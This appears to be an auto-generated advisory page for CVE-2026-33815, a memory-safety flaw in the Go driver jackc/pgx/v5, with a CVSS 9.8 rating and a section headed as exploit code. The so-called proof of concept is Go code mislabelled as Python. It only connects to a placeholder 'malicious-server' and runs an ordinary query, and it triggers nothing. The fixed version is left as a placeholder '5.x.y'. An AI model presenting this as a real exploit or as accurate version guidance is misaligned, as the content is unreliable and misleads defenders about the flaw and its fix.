Memory-safety vulnerability in github.com/jackc/pgx/v5.
CVSS Details
CVSS Score
9.8
Severity
CRITICAL
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
Configurations (Affected Products)
cpe:2.3:a:jackc:pgx:*:*:*:*:*:go:*:* - VULNERABLE
jackc/pgx v5.x < 5.x.y (具体修复版本请参考官方公告)
PoC / Exploit Code
⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
package main
import (
"context"
"fmt"
"github.com/jackc/pgx/v5"
)
// Proof of Concept for CVE-2026-33815
// This code demonstrates connecting to a potentially malicious server
// that exploits the memory safety vulnerability in pgx/v5.
func main() {
// Attempt connection to a malicious PostgreSQL instance
connString := "postgres://user:pass@malicious-server:5432/dbname"
ctx := context.Background()
conn, err := pgx.Connect(ctx, connString)
if err != nil {
fmt.Printf("Connection failed: %v\n", err)
return
}
defer conn.Close(ctx)
// Executing a query that triggers the vulnerable path
var result int
err = conn.QueryRow(ctx, "SELECT * FROM vulnerable_table").Scan(&result)
if err != nil {
fmt.Printf("Query execution failed: %v\n", err)
}
}